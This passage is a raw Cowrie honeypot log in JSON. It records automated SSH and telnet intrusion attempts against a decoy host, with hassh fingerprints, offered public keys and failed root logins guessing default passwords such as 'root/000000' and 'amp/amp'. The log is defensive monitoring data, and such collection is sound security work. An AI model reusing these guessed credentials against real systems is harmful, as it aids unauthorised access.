ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:41.632946Z","src_ip":"45.153.34.112","session":"3210780de214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:41.880923Z","src_ip":"45.153.34.112","session":"3210780de214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:43.017966Z","src_ip":"45.153.34.112","session":"3210780de214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53882,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7580eedb59","protocol":"telnet","message":"New connection: 192.119.13.58:53882 (10.17.0.5:23) [session: 5b7580eedb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:43.796761Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.59.54.34","src_port":43292,"dst_ip":"10.17.0.5","dst_port":22,"session":"76c545cfc4c9","protocol":"ssh","message":"New connection: 137.59.54.34:43292 (10.17.0.5:22) [session: 76c545cfc4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:43.899599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:43.908252Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:44.122031Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:04:e1:a8:1b:25:bc:88:7f:34:dc:a5:c7:4a:75:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpyYvcf5YclHPfxpL2EKen4JkD2vhh9bAY4lFnrWWzG0xMsESWAEfZ1dYv6XnunRU07E1eWdGBuIEGrhEvuzjWGT0TE6DnekIJf1uAYYVwIq7q0dXIpBY+79wB2FIs0s6rSYNzePt2OP5qz3cSq3fF/PsP0YMtBo58MOVojYC8F9KfTQ8Fok7ArbzeRnSUU3tPbcvqwkfFgdo7OB8thpfDEgsB4WYKlzpIIzHze4PMjwnhVtgLRB5SogI7HSqT5bG+QfULysiv8IWftXLQ0VkK80HsEoIBCprefWgU0i0h3/+UnxuAWmBUMYS81MKqy9BqvO0byMnAAMN+ZFCWhtYf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:04:e1:a8:1b:25:bc:88:7f:34:dc:a5:c7:4a:75:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.161148Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:04:e1:a8:1b:25:bc:88:7f:34:dc:a5:c7:4a:75:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpyYvcf5YclHPfxpL2EKen4JkD2vhh9bAY4lFnrWWzG0xMsESWAEfZ1dYv6XnunRU07E1eWdGBuIEGrhEvuzjWGT0TE6DnekIJf1uAYYVwIq7q0dXIpBY+79wB2FIs0s6rSYNzePt2OP5qz3cSq3fF/PsP0YMtBo58MOVojYC8F9KfTQ8Fok7ArbzeRnSUU3tPbcvqwkfFgdo7OB8thpfDEgsB4WYKlzpIIzHze4PMjwnhVtgLRB5SogI7HSqT5bG+QfULysiv8IWftXLQ0VkK80HsEoIBCprefWgU0i0h3/+UnxuAWmBUMYS81MKqy9BqvO0byMnAAMN+ZFCWhtYf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.166190Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51502,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91187efe885","protocol":"ssh","message":"New connection: 45.153.34.112:51502 (10.17.0.5:22) [session: f91187efe885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.174201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.254902Z","src_ip":"45.153.34.112","session":"f91187efe885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.286377Z","src_ip":"45.153.34.112","session":"f91187efe885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:2e:63:de:17:d7:e5:90:d9:c4:ef:f1:7a:0b:15:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/drPJPL49f6twBPV4xbm9RpW8rFhCD5NvuKcAg0O5qZHD8yFt5jT8S06dvv89l8pibCEjIigUOCRI1kARbXV+d4NatD05V19GD8wSZWTVm98nKjg9q9RDbGmL9zL53brKQLp+mJnvnJSYLSL7WlF7durXEj/pu7O3JYolE1PeYmRU3xWqdpUzXtQoJKaocoRGphdKhpHhvhydPUBAwHk+Lj4U40LhF4qvfYEWmpwwDxcjZU0273jiolks0tAAmpBP6n+lZSnwiFuH0Ds1T063Xe6n6lOhxv1EUsPA75WRvH43mwKKosDDnNZHPGuYQMF31OseozvR/gz0LVZhmYPz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:2e:63:de:17:d7:e5:90:d9:c4:ef:f1:7a:0b:15:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.381863Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:2e:63:de:17:d7:e5:90:d9:c4:ef:f1:7a:0b:15:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/drPJPL49f6twBPV4xbm9RpW8rFhCD5NvuKcAg0O5qZHD8yFt5jT8S06dvv89l8pibCEjIigUOCRI1kARbXV+d4NatD05V19GD8wSZWTVm98nKjg9q9RDbGmL9zL53brKQLp+mJnvnJSYLSL7WlF7durXEj/pu7O3JYolE1PeYmRU3xWqdpUzXtQoJKaocoRGphdKhpHhvhydPUBAwHk+Lj4U40LhF4qvfYEWmpwwDxcjZU0273jiolks0tAAmpBP6n+lZSnwiFuH0Ds1T063Xe6n6lOhxv1EUsPA75WRvH43mwKKosDDnNZHPGuYQMF31OseozvR/gz0LVZhmYPz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.386353Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.581343Z","src_ip":"45.153.34.112","session":"f91187efe885","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:43:30:ce:24:b0:2c:a7:58:23:00:0b:08:1e:d3:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzcAs/KDPM82M0scxtpNu0iV03F81YfVOlKNFgd/xsHDyYZXAaBCRDgcbG+l8Wkgbz2a6yGOdU3plIWSWTNnmpU9ubbl0UA6VcE4DsqHh7SIauTdRpQjxKEv1KWpryNweI8dn7GgcZdJtnQggFACcA2CDxKJTC0jOf5xjQF8VZpPZOE1OXBVJoHg2TQhiwX7zg8KXIy+Hs7S+ekXZV1ZO1NLkS1vVAPn2o1xOjt/GFnxt1kQgLiz7lnlNG7RDpidwqZlrONu04x2uh4CsJ1bE08VnHIQVrSQn0k9zFaCCe0jdF4cEKAn7hzft4SqJcw3cn0sQQhDyJc8lXRiuuhlvb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:43:30:ce:24:b0:2c:a7:58:23:00:0b:08:1e:d3:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.602396Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:43:30:ce:24:b0:2c:a7:58:23:00:0b:08:1e:d3:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzcAs/KDPM82M0scxtpNu0iV03F81YfVOlKNFgd/xsHDyYZXAaBCRDgcbG+l8Wkgbz2a6yGOdU3plIWSWTNnmpU9ubbl0UA6VcE4DsqHh7SIauTdRpQjxKEv1KWpryNweI8dn7GgcZdJtnQggFACcA2CDxKJTC0jOf5xjQF8VZpPZOE1OXBVJoHg2TQhiwX7zg8KXIy+Hs7S+ekXZV1ZO1NLkS1vVAPn2o1xOjt/GFnxt1kQgLiz7lnlNG7RDpidwqZlrONu04x2uh4CsJ1bE08VnHIQVrSQn0k9zFaCCe0jdF4cEKAn7hzft4SqJcw3cn0sQQhDyJc8lXRiuuhlvb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.606858Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:4e:73:17:ef:b7:db:a9:1e:53:12:16:09:16:a6:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWKsn6WwRc+daufFb0sZn8tBfDPnFN/1Ylo75QeD2UmOp4+lLSc81YUFjTdsFUREyyceghfT913NzdGVV598YfgquJgYQ6EDveL4g0MctABQKTjVenibmYkAM0g6Vs/b35NtmxGwJDn8cob1GYSvPpU1QCkH6jEN6+aKhvmdnUVpVs4ZicbfQV3dvlz3+74/9/Wkag0MsWbbnGeoD+MbWQTRJ5kHtqv9CfNOQG9mHPmmUKJIiRuLok/CV0zffTae+9021J4c7h5R3zdkCsHFFQtDNz+Ksk3r7jQW/T0qkybYSZuHQnD5jTK8Tu3Qu1o1UIhNUQx7Z1yIWSbY+5ZQRV9003scSKv4RVykUn67TLBwEwsBAdnG8UW11e47ef+pRxu7aEkPbDUBq6pXrIYxMF4m1lxydq5qgcv5RiB5teYjDBOx+TcvSmwjYxc3zr9CY1b+0rJgO8M/hh2p9TBlPpEZd436P0agg7ULpbuJsT7ulGUWOMmDBL4fxGDshNYYU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:4e:73:17:ef:b7:db:a9:1e:53:12:16:09:16:a6:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.820848Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:4e:73:17:ef:b7:db:a9:1e:53:12:16:09:16:a6:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWKsn6WwRc+daufFb0sZn8tBfDPnFN/1Ylo75QeD2UmOp4+lLSc81YUFjTdsFUREyyceghfT913NzdGVV598YfgquJgYQ6EDveL4g0MctABQKTjVenibmYkAM0g6Vs/b35NtmxGwJDn8cob1GYSvPpU1QCkH6jEN6+aKhvmdnUVpVs4ZicbfQV3dvlz3+74/9/Wkag0MsWbbnGeoD+MbWQTRJ5kHtqv9CfNOQG9mHPmmUKJIiRuLok/CV0zffTae+9021J4c7h5R3zdkCsHFFQtDNz+Ksk3r7jQW/T0qkybYSZuHQnD5jTK8Tu3Qu1o1UIhNUQx7Z1yIWSbY+5ZQRV9003scSKv4RVykUn67TLBwEwsBAdnG8UW11e47ef+pRxu7aEkPbDUBq6pXrIYxMF4m1lxydq5qgcv5RiB5teYjDBOx+TcvSmwjYxc3zr9CY1b+0rJgO8M/hh2p9TBlPpEZd436P0agg7ULpbuJsT7ulGUWOMmDBL4fxGDshNYYU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:45.824839Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:6c:3a:cc:ab:c5:44:ac:71:e8:97:8f:a4:ee:67:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx11dFKC95e6th5+G1wmbqowejopr9pqDZOD/GnaH0JDb/aqy1nYfQOQgLrKrdK96FEaWgDYZXsoXzkP3nbII1ibQj583Ru0swCPlRoS93si19CUq9CrRLiv9B4rVlL1iQZs87JlwfxZGSDtxVC4dyHLcAw6vBDW6BFs96zhzRHHaZ761Wdew5EzaDFN9XDStw/L2y568cPqS63rQiBFePTHSuwTHQvj1nnF4vxtaR0D+s8b7/ekGJXhfyV3osoyTeL6+/YNKdCkdyTAUj3VhLpibAsdehKFvbbOIVa8knzzBhqGmabz8amZHRSuM+q1Qm3px115rNQZ/IdZo+r1n3HjSX2kCFUkuF0/CMlMCmCq1ZlH6Vh4TgMOIInpkS06wRwOnFrRfw0xY4Z+gkgG/IW0XfT7IABmlQZL4oWPp5Y812Mu/eyeytBMRCkBK2QnUx2uC+P0zyt6BwCs3CUi2W4MD64kNOmSLt/uRxySR1zdjxAAKOZB6mQUF18ghvNck=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:6c:3a:cc:ab:c5:44:ac:71:e8:97:8f:a4:ee:67:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:46.038742Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:6c:3a:cc:ab:c5:44:ac:71:e8:97:8f:a4:ee:67:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx11dFKC95e6th5+G1wmbqowejopr9pqDZOD/GnaH0JDb/aqy1nYfQOQgLrKrdK96FEaWgDYZXsoXzkP3nbII1ibQj583Ru0swCPlRoS93si19CUq9CrRLiv9B4rVlL1iQZs87JlwfxZGSDtxVC4dyHLcAw6vBDW6BFs96zhzRHHaZ761Wdew5EzaDFN9XDStw/L2y568cPqS63rQiBFePTHSuwTHQvj1nnF4vxtaR0D+s8b7/ekGJXhfyV3osoyTeL6+/YNKdCkdyTAUj3VhLpibAsdehKFvbbOIVa8knzzBhqGmabz8amZHRSuM+q1Qm3px115rNQZ/IdZo+r1n3HjSX2kCFUkuF0/CMlMCmCq1ZlH6Vh4TgMOIInpkS06wRwOnFrRfw0xY4Z+gkgG/IW0XfT7IABmlQZL4oWPp5Y812Mu/eyeytBMRCkBK2QnUx2uC+P0zyt6BwCs3CUi2W4MD64kNOmSLt/uRxySR1zdjxAAKOZB6mQUF18ghvNck=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:46.042429Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:46.254455Z","src_ip":"137.59.54.34","session":"76c545cfc4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36510,"dst_ip":"10.17.0.5","dst_port":23,"session":"945f71b29d5d","protocol":"telnet","message":"New connection: 192.119.13.58:36510 (10.17.0.5:23) [session: 945f71b29d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:46.530094Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:46.669106Z","src_ip":"45.153.34.112","session":"f91187efe885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.068665742874146,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:47.401388Z","src_ip":"192.119.13.58","session":"0ab6169fdbb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43690,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43dd2543f3e","protocol":"telnet","message":"New connection: 192.119.13.58:43690 (10.17.0.5:23) [session: c43dd2543f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:48.310767Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51516,"dst_ip":"10.17.0.5","dst_port":22,"session":"60996035a46a","protocol":"ssh","message":"New connection: 45.153.34.112:51516 (10.17.0.5:22) [session: 60996035a46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:48.769064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:48.773774Z","src_ip":"45.153.34.112","session":"60996035a46a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:48.856541Z","src_ip":"45.153.34.112","session":"60996035a46a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:49.102028Z","src_ip":"45.153.34.112","session":"60996035a46a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"793ef98c5efa","protocol":"telnet","message":"New connection: 192.119.13.58:48204 (10.17.0.5:23) [session: 793ef98c5efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:49.306966Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb686d79c1ba","protocol":"telnet","message":"New connection: 192.119.13.58:51152 (10.17.0.5:23) [session: eb686d79c1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:50.085840Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:50.348977Z","src_ip":"45.153.34.112","session":"60996035a46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.78396797180176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:51.263901Z","src_ip":"192.119.13.58","session":"b535064edfdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35060,"dst_ip":"10.17.0.5","dst_port":22,"session":"354a9b694437","protocol":"ssh","message":"New connection: 45.153.34.112:35060 (10.17.0.5:22) [session: 354a9b694437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.122852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.128561Z","src_ip":"45.153.34.112","session":"354a9b694437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v0